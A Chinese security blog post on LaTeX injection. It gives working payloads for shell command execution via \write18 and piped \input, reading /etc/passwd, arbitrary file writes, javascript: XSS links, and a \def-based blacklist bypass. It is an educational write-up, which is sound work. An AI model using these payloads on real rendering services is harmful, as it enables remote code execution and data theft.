最近在给某友商做安全测试时,遇到一个全新的技术——LaTeX。由于此前从未遇到过,加上国内资料较少,一时引起了云山雾隐的注意。关于LaTeX的安全问题,严格意义上来说应该是属于Tex的安全问题,因为它是基于Tex的。而了解Tex的应该都知道,若使用不当,则会有很大的安全隐患。在此云山雾隐简单分析下该技术,本文只是一个简单介绍和分享,如有不妥,欢迎各位积极讨论、互相学习。
简介
LaTeX(LATEX,音译“拉泰赫”)是一种基于ΤΕΧ的排版系统,由美国计算机学家莱斯利·兰伯特(Leslie Lamport)在20世纪80年代初期开发,利用这种格式,即使使用者没有排版和程序设计的知识也可以充分发挥由TeX所提供的强大功能,能在几天、甚至几小时内生成很多具有书籍质量的印刷品。对于生成复杂表格和数学公式,这一点表现得尤为突出。因此它非常适用于生成高印刷质量的科技和数学类文档。这个系统同样适用于生成从简单的信件到完整书籍的所有其他种类的文档。
简单来说,即LaTeX是一种基于ΤΕΧ的排版系统,主要功能是生成数学公式和文章排版,而本文就是由前者数学公式而引出。
基础知识
1.LaTeX的文件后缀为.tex,通常需要编译执行;
2.它可以像其他编程语言一样读写文件,执行命令等操作,这是导致LaTeX出现安全隐患的关键因素。当然官方也想到了这一点,为了提高安全性,官方提供了配置项(shell_escape、shell_escape_commands)去配置能否执行命令以及允许执行的命令列表,我们可以在texmf.cnf配置文件里面找到,如下图所示:
其中shell_escape有三种配置值,分别为:
f:不允许执行任何命令
t:允许执行任何命令
p:支持执行白名单内的命令(默认)
当然,并不是配置了就是安全的,还存在被绕过的可能性。具体详情可以看这篇文章TeX 安全模式绕过研究,这也是云山雾隐目前在国内看到的,唯一一篇关于Tex安全的文章,或许还有很多详尽的文章及材料,也欢迎大家相互分享。
3.LaTeX常见的应用场景主要有扫描数学公式、LateX转pdf、LateX转图片等,如果传入的LaTeX可控且没有过滤的话就会导致LaTex Injection的产生;
4.除了LateX,其他基于TeX的也有很多,如下:
- AMS-TeX
- ConTeXt
- jadeTeX
- LaTeX
- LuaTeX
- MacTeX
- MikTeX
- pdfTeX
- SyncTeX
- Texinfo
- TeX Live
- XeTeX
- kaTex
5.TeX语法了解,感兴趣的可以自行学习。不是本文重点,这里不再做过多赘述。
攻击手法
在了解完以上基础知识后,我们直入主题。对于专业安全人员来说,最爽的洞莫过于rce了,自然云山雾隐也是从LaTeX的命令执行开始。以下实验全在https://www.papeeria.com/站点进行演示,感谢该网站对本文的大力支持。
1. 命令执行
LaTeX可以用以下语法执行命令;
\write18{command}
但直接执行命令是阻塞的,通常要配合\immediate使用;
\immediate\write18{command}
如果执行以上命令,无回显还可以用\input 配合使用,把执行结果保存后再读出来。\input 主要是用来读文件,我们后面会讲到;
\immediate\write18{whoami > output}
\input{output}
如果是PdfTeX,还有另一种执行命令的姿势;
\input|"ls"
\input|ls
\input|ls|base64
\makeatletter
\@@input|"ls"
\makeatother
接下来我们跑起来看看结果
可以看到除了第一条没回显,其他都成功了;
再试试其他命令,很稳!
2. 任意文件读取
任意文件读取,姿势非常多,最简单的方法是使用\input;
\input{/etc/passwd}
还可以这样,但这个只能读取一行;
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file
读多行可以借助循环实现,如下:
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
利用verbatiminput进行文件读取,verbatiminput比较好的是可以保持文本格式,需单独引包;
引入verbatim包
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
最后还有个\include可以使用,\include只能用来读取.tex后缀的文件,可以和别的语句配合使用;
\immediate\write18{whoami > output.tex}
\include{output.tex}
3. 任意文件写入
写文件,只有这一种方法可以用;
\newwrite\outfile
\openout\outfile=testfile
\write\outfile{safe6}
\closeout\outfile
写多行
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Line 1}
\write\outfile{Line 2}
\write\outfile{Line 3}
\closeout\outfile
4. xss
我们直接来看这个:https://twitter.com/intigriti/status/1101509684614320130
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
bypass黑名单
了解了常见的攻击手法,我们再来拓展一下黑名单的绕过,也许开发人员认为把这些有害关键字过滤后就安全了。其实绕过原理很简单,有过php免杀或powershell免杀经验的安全人员一看便知。总结一下就是:拆分黑名单关键字,再组合。
绕过黑名单,我们要用到一个新语法\def,看名字就知道这是用来定义变量的。
比如immediate关键字,我们可以用\def这样定义,如果有特殊符号需要用\string进行转义。
\def \imm {\string\imme}
\def \diate {diate}
以此类推,最后就变成这样,是不是有php免杀的感觉了?至此我们需要的关键字就已经定义好了。下面开始使用这些变量
\def \imm {\string\imme}
\def \diate {diate}
\def \sb {\string18}
\def \wwrite {\string\write\sb}
\def \args {\string{ls > test.tex\string}}
\def \inp {\string\in}
\def \iput {put}
\def \cmd {\string{test.tex\string}}
我们先把执行结果写到一个文件(test.tex)里面;
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
然后再把结果读出来即可;
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
运行一下,一切正常,符合预期。
本文只是云山雾隐的简单见解,各位在实战中还得随机应变。最后再放张图:
References
- https://infosecwriteups.com/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a
- https://0day.work/hacking-with-latex/
- https://twitter.com/intigriti/status/1101509684614320130
- https://tex.stackexchange.com/questions/262625/security-latex-injection-hack
- http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
- http://cseweb.ucsd.edu/~hovav/dist/texhack.pdf
- https://www.latex-project.org/help/documentation/
- https://texdoc.org/index.html
- http://noahblog.360.cn/tex-restricted-mode-bypass/